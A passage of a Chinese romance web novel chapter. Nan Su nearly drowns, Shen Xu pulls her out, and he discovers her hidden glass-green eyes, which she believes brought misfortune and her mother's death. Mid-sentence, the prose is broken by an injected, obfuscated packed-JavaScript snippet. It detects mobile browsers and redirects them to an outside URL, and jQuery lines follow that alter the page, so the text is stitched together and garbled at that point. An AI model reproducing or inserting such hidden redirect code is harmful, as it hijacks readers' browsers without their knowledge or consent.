眼见岸边红雾的身影缓缓倒下,南夙放任自己的身体坠下,刺骨的寒冷与冰冷瞬间将她包围。
沈序唤她的声音只来得及在耳边停留一秒,便被湖水掩盖。
寒意侵袭她的全身,如同千万根针,刺透袄裙,扎进她的皮肤,钻进骨髓。
水,又是水。
记忆里那个无助的身影此刻仿佛又再次出现,就在她的眼前,在这个冰冷的湖中,那只鬼手再次出现,攫住她的脚踝,将她拖向幽暗的渊底。
衣袍吸饱了冰水,像裹尸布般缠紧四肢,她拼命挥动手臂,却只搅起昏浊的涡流。指尖碰到碎冰,锋利的边缘割开皮肉,竟也觉不出疼。
寒意早已剜透了骨头。
“救……”
呼喊刚出口,湖水就灌进喉咙,水腥气混着冰碴在气管里翻搅,和七岁那年一模一样。
她脑中此刻只有一个想法。
——要死了。
她痉挛着蜷起了身子,恍惚看见漆黑的水草如同长发般缠上来。
突然有雪亮的光劈开黑暗。
一柄长剑刺入水中,在她眼前炸开。紧接着是玄色大氅翻卷的暗影,像鹰隼俯冲,惊散缠绕她的魑魅。那人一把扣住她的后颈,力道很大。
“吐水。”
滚烫的呼吸喷在她的耳畔,她这才发现自己的牙齿正死死咬着他的手腕,血腥味在唇齿间漫开,隔着湿透的裘袄,沈序的心跳又急又重,震得她生疼。
沈序将她捞回了岸边。她瘫在他怀中剧烈呛咳,后背被沈序轻轻抚着。
“哥!”
身后韩砚与安雀匆匆赶来,望见两人的模样皆是一惊。两人连忙赶上来。
南夙缓过口气来,正欲抬头,却被沈序一把扣住了手腕,制止了她的动作。
“闭眼。”沈序语气强硬。
“什……”
“闭眼。”
南夙还未来得及问他为何,又被他强硬地打断,她只好听从他的话闭上了眼睛。
下一秒,身子突然腾空,南夙被惊到,下意识抱上了沈序的脖子。
沈序将她打横抱起来。
原本着急冲过来的韩砚与安雀见状停了步子,站在原地不知作何动作。
沈序经过二人时开口,语气冰冷,“将人绑了,带回客栈,等我们回来。”
“是。”安雀低头领命。
韩砚还没反应过来,沈序已经抱着南夙离开了。
湿透的衣物黏在身上,混着寒风刺激得南夙在沈序怀中发抖。沈序感受到她在怀中颤抖,自觉地加快了步伐。
南夙搂着他的脖子,靠在他的肩上。南夙全身湿透,沈序也没好到哪去。可南夙靠着他,却觉得他的体温很高,尤其是靠近他的心脏时,心脏鼓动,沈序的体温连同他心脏的频次在南夙耳边跳动,震得她心脏发颤。
沈序让她闭眼,虽然不知道是为什么,但她还是听话的始终闭着眼睛。
直到沈序抱着她进了一家客栈。
为了让南夙赶紧换掉湿衣服,沈序没抱她回三十六客栈,而是进了一家最近的客栈,要了两间房,抱着南夙上了楼进了房间。
沈序将南夙放在床边,南夙顺势坐下,还没来得及睁眼,又听沈序轻轻开口,语气很温柔。
“先别睁眼。”
沈序接过小二送上来的衣物,放在南夙旁边地床上。
“先将湿衣服换下来,我去让人送热水上来。”沈序低声嘱托着,指尖拂过南夙的眼角,南夙仍在发抖,“如果有别人来,不要睁开眼睛,除除非听到我的说睁眼,好吗?”
虽然不知道沈序为什么突然有这么奇怪的要求,但听他的语气并不是在逗弄自己,南夙便乖乖点了头,担心沈序不放心,她还说道:“你没让我睁眼之前我一定不会睁的,放心吧。”
“嗯。”
沈序出门后带上了门,下楼让人备了热水,自己也去了房间将湿透的衣裳给缓了下来。
一炷香后,他估摸着南夙应当已经收拾完了,才起身走出门去,敲响了隔壁房间的门。
“咚咚——”
房门响起。南夙还在浴桶中泡着,听到声响,她知道是沈序来了,忙起身披上衣袍,自屏风后走出,冲门外喊了一声“进”。
沈序推门进入,一眼便见南夙仍滴着水的头发,青丝垂在身后,有几缕散在身前,水滴便顺着胸前滴落,滴答一声落在木地板上。
南夙抬眼,两人视线就这样相撞。沈序挪开眼睛,提步走向南夙,经过架子时抽出一块巾帕。
“怎么不把头发擦干,一会真着凉了。”他将巾帕搭上南夙的头。
南夙自然接过巾帕。轻揉起自己的发尾,解释道:“没来得及。”
她一边说一遍往床边走去。
待她在床边坐下,沈序轻唤了一声她的名字。
“南夙。”
“嗯?”南夙仰头望他,“怎么了?”
“你……”沈序斟酌着字词,不知道是否要直接告诉南夙她的瞳色发生了变化。他当然知道这不是因为别的什么原因,最大的可能是南夙的瞳色本来就是他今日所见到的琉璃绿,平日里所见的琥珀色则是她用来伪装的。一同在院中挖酒那日他便发现了异常,只是……
只是那日南夙的表现,看上去应当是不想别人发现这件事。那日,他在南夙的眸子中见到那抹轻微泛起的琉璃绿时,只是刚开了口,便被南夙立马打断,他在南夙的眸子中看到了慌乱、害怕,还有转瞬即逝的一丝厌恶。
所以他猜测南夙也不愿自己发现这件事。只是没想到今日出了什么差错,南夙平日里的伪装出了错,将这双晶莹剔透、宝石般的琉璃瞳暴露在了他的眼前。
他思忖着要如何开口。
半晌,他还是觉得直接问南夙,至于愿不愿意回答,全凭南夙的意愿。
于是他开口道:“南夙,你的瞳色……”
话音未落,南夙已经反应过来,果然如沈序所想那般反应很大的侧开了原本仰着看着他的脑袋。
沈序没接着说下去。南夙果然如他所想,不愿被人看到她的瞳色,也很
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144238|196354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
排斥与人谈论此事。
空气安静下来,好长一段时间都没有人说话。
南夙不愿说话,沈序也不逼她,只是在旁边默默地站着,观察着南夙的状态,等着她的反应。
“你都看到了吗?”好久,南夙终于开口,声音弱弱的,还有些颤抖。
“嗯。”沈序没有犹豫地回道。
听到沈序的回答,南夙搭在膝上的手指不自觉捏紧了那处的衣袍,仍不肯转头过来面对沈序,沈序也不逼她。他不知道这双琉璃绿的眸子对南夙意味着什么,也不知道南夙为何如此厌恶这双眸子,所以他不能随意出口安慰她。但是他觉得,南夙这双眸子很美。这双眸子恐怕天下无双,世间没有第二人能够拥有。
于是他轻声开口:“很美。”
“真的吗?”
听到他这么说,南夙终于愿意转头看他一眼,却不是因为听到沈序的夸赞而开心。她红着眼眶看向沈序,与他对视,嘴唇翕张,缓缓吐出几个字,“倘若我说,这双眸子会带来厄运,你也会觉得它美吗?”
“当然。”沈序没有任何犹豫地回答,他蹲下身,视线与南夙平行,“我说这双眸子美,是因为它的主人是你。”
“不论是以前那双琥珀色的瞳孔,还是现在这双琉璃绿的眸子,都很美。但它们美的前提都是你。”他一字一句徐徐而来,像入春时刚解封的山泉水,哗啦哗啦流淌进南夙的心间。
“我不知道这双眸子后面藏着什么样的故事。但是,它一定不是一双会带来厄运的眼睛。你带着它来到中原,做了我的世子妃,为靖北侯府带来了生机,父亲母亲还有沈褚都特别喜欢你;你还为大理寺的案件做了极大的贡献,没有你,我们也不能抓到郑平,一路查到江南。方才,你落水前还制服了红雾,让我们这一程没有白走。”
他直直地盯着南夙的眼睛,“若是这双眼睛会带来厄运,这些事早就黄了,我们的调查也不会进展得如此顺利。”
“对吗?”
“是……是吗?”他一口气说了好多东西,南夙听懂了他的意思,却一下子没能反应过来。
她眼睛红着,突然落下泪来,有些难堪地捂住了脸,“可是它确实带来了厄运,如果不是它,阿姎就不会死。”
沈序愣了一瞬。他看过灵诏的历史,知道南夙口中的阿姎便是她的母亲,他也知道南夙的母亲早已逝世。南夙的意思是这双眼睛害死了她的母亲吗?
这听起来多少有些匪夷所思。
反正沈序是从来不相信这种说辞。
但眼前的人显然与他想法不同,南夙看上去对这件事深信不疑,还真的觉得是自己害死了自己的母亲。
“你想知道阿姎为何会离开吗?”
还没等他想好该怎样安慰南夙,南夙突然抬头问他,眼泪糊了满脸,双眼通红,就连鼻尖也红红的。
看到南夙如此伤心,沈序突然反省自己刚才是否不应该说那些话,他抿了抿唇,没直接说想或不想,而是将选择权交给南夙。
他说:“你愿意告诉我吗?”